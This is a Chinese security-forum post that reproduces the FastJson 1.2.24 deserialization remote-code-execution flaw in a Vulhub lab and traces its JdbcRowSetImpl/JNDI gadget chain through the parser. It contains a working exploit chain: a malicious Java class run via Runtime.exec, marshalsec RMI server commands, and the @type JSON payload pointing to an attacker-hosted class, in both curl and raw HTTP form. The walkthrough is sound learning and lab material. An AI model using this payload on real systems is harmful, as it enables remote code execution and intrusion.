首页
社区
课程
招聘
[原创][原创]FastJson复现分析
发表于: 2021-5-14 22:43 1948

[原创][原创]FastJson复现分析

2021-5-14 22:43
1948

概述:本文从复现与调试分析两个方向简述了此漏洞,逐步跟踪漏洞执行流程。
漏洞的复现与调试分析采用了两套环境
复现:Windows+WSL_Ubuntu18.04+Vulhub
调试分析:Windows+IDEA+WSL_Ubuntu18.04

采用 Vulhub 中的FastJson 1.2.24-RCE 集成式Docker环境

此处需要用到一些其他知识:

VulHub 下载命令:

下载完成后进入相关漏洞环境目录
此处为:/vulhub/fastjson/1.2.24-rce
目录下具有docker-compose.yml文件,为docker compose的配置文件,通过此文件构建一个具有FastJson 1.2.24-RCE漏洞的Docker容器
构建命令:docker-compose build
启动命令:docker-compose up -d
停止命令:docker-compose down
进入docker容器命令:

使用docker ps获取对应容器的CONTAINER ID

进入docker容器
docker exec -it <CONTAINER ID> /bin/bash

检测是否正常使用:在本机运行curl http://127.0.0.1:8090
出现下图信息,表示正常运行:

注意:此文件构建在另一主机上

此处需要使用到的其他知识:

创建TouchFile.java文件
拷贝如下代码

执行编译命令,生成class文件
javac TouchFile.java

注意:此文件服务器不与目标机同一机器上

命令行模式下cd到构建了恶意payload文件目录下
执行命令:python -m http.server [port]

例:python -m http.server 1111
出现下图所示表示成功:

此时在目标主机应该可以访问到此目录下的文件
在目标主机执行命令
curl http://<存放了payload主机的IP>:1111

返回的数据中应有如下类似数据

注意:此RMI服务不在目标主机上,在搭建了文件服务器的主机上。
(当然,它也可以在其他机器中,只要各个机器可以互相访问)

RMI: Remote Method Invocation,远程方法调用。RMI服务类似以前的电话转接员,用于告诉服务器的去哪里寻找他要的东西。这里绑定了恶意的python文件服务器,被攻击方将会到文件服务器中访问指定的class文件。

此处需要用到一些其他知识:

下载marshalsec
Github:git clone https://github.com/mbechler/marshalsec.git
Gitee:git clone https://gitee.com/Plastilina/marshalsec.git

下载完成后进入marshalsec目录,其中有一个pom.xml文件,这是一个maven的项目构建文件

使用maven构建项目:mvn compile
构建完成后,在该目录下会有一个target目录,内含构建好的jar包
我们需要使用的为marshalsec-0.0.3-SNAPSHOT-all.jar

也可以直接下载编译完成的jar包
链接:Gitee: git clone https://gitee.com/Plastilina/marshalsec-jar.git

然后进入jar包所在文件执行命令:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer <"文件服务器地址:端口/TouchFile"> <监听端口>

例:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.192.113:8000" 9999

注:下列操作皆在恶意主机中执行。

启动BurpSuite,创建一个Repeader,host、端口指向目标机,当然也可以直接使用Curl
拷贝如下代码:

发送请求
如果成功将有如下表现

文件服务器将出现如下记录。这是来自目标服务器的访问(RMI将你的数据信息告诉了目标服务器)

如果此处未出现任何记录,请检查目标主机与恶意主机是否可以互相ping通,其次请检查,RMI服务是否注册绑定文件服务器(注意在绑定时,填写的恶意主机IP不能是本地回环地址,这是要发送到目标主机的数据)

如果RMI服务出现如下记录。这是来自目标服务器的访问,他将告诉目标主机去哪里获取它想要的文件数据。

如果此处未出现任何记录,请检查目标主机与恶意主机之间是否可以互相访问(ping)。其次检查请求包dataSourceName字段是否填写正确。

目标docker容器执了命令,这里是在tmp目录下创建了success文件

为了方便分析调试和追踪恶意数据,便不使用vulhub集成环境了。
代码链接:Link
JDK版本:8u102,默认开启com.sun.jndi.rmi.object.trustURLCodebase。为什么要开启这个服务,开启trustURLCodebase表示允许远程加载工厂类,可通过各种协议进行远程调用。

调试启动服务端
使用IDEA调试启动服务端,指定监听端口可在src/main/resources/application.properties目录下修改。

构建payload触发漏洞
使用curl发送payload
curl <服务端ip>:<端口号>/user -H "Content-Type:application/json" -d '{"b":{"@type":"com.sn.rowset.JdbcRowSetImpl","dataSourceName":"rmi://<恶意文件服务器主机ip>:<端口号>/TouchFile","autoCommit":true}}'

当恶意代码执行完毕后,由于后续的状态的校验没有通过,会触发异常,返回调用堆栈。(请启用断点中的异常断点)

截取主要部分
整个堆栈大致可以分为两部分

JdbcRowSetImpl这条利用链也算比较经典,主要利用了Java的反射机制触发漏洞。
Method.invoke处设置断点,发送Payload触发断点。
可以看见setAutoCommit方法被调用了,这也就是Payload中设置AutoCommit:false的原因(其实true/false无所谓,只是为了触发反射调用。)

随后进入setAutoCommit源码,发现调用了connect,继续跟进。

跟进后发现了JNDI初始化流程,而这里的getDataSourceName,返回的便是我们PayloadDataSouceName
lookup中的参数可控,就和exec参数可控一样,具有很高的危险性。
至此,通过RMI协议加载并实例化远程类,触发构造方法、静态方法等等,达到了攻击的目的。

JSON.parseObject
JSON.parseObject主要做了这么几件事

DefaultJSONParser.parseObject
JSON.parseObject主要做了这么几件事

JavaBeanDeserializer.deserialze
这里的JavaBeanDeserializer.deserialze对应着上面的序列化器
采用了JAVAASM技术动态的生成了类,并使用其创建了序列化器。
其主要做了一下几件事

JavaBeanDeserializer.parseField
JavaBeanDeserializer.parseField内会做如下几件事

调用smartMatch,尝试从已有的FieldDeserializers中匹配字段反序列化器




当没有匹配到对应的反序列化器时,流程走向DefaultJSONParser.parseExtra
parseExtra内会匹配extraTypeProviders,匹配失败的话流程走向DefaultJSONParser.parse



DefaultJSONParser.parse
DefaultJSONParser.parse内会做如下几件事

关于反序列系列的漏洞,我们通常关注的两个点:

如前边所展现的com.sn.rowset.JdbcRowSetImpl便是一条反序列化链,通过设置dataSourceNameautoCommit属性,通过反射机制达到加载恶意类文件目的。
类似的利用链还有com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

而接下来的FastJson一系列的调用,便是对反序列化的链的一个利用。
可以发现,在首次反序列化失败后,流程会扫描传入的JSON字符串,并根据@type字段的值进行指定类型的构造,这也是此次漏洞主要的点。

FastJson更高版本的补丁中便是增加了对@type类型进行了一系列的检查过滤。

参考
fastjson历史漏洞研究(一)
基于Java反序列化RCE - 搞懂RMI、JRMP、JNDI
Fastjson 流程分析及 RCE 分析

 
 
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
 
public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            # Windows
            # String[] commands = {"notepad.exe"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
 
public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            # Windows
            # String[] commands = {"notepad.exe"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}
 
 
 
 
 
 
 
 
 
 
 
 
# BurpSuite
POST / HTTP/1.1
Host: 目标机器:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160
 
{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://恶意主机IP:9999/TouchFile",
        "autoCommit":true
    }
}
 
# Curl
curl <目标主机IP>:<端口>/user -H "Content-Type:application/json" -d '{"b":{"@type":"com.sn.rowset.JdbcRowSetImpl","dataSourceName":"rmi://<文件服务器ip>:<端口>/TouchFile","autoCommit":true}}'
# BurpSuite
POST / HTTP/1.1
Host: 目标机器:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (1)
雪    币: 5034
活跃值: (23)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
抱着学习的心态前来
2021-6-11 22:35
0
游客
登录 | 注册 方可回帖
返回
//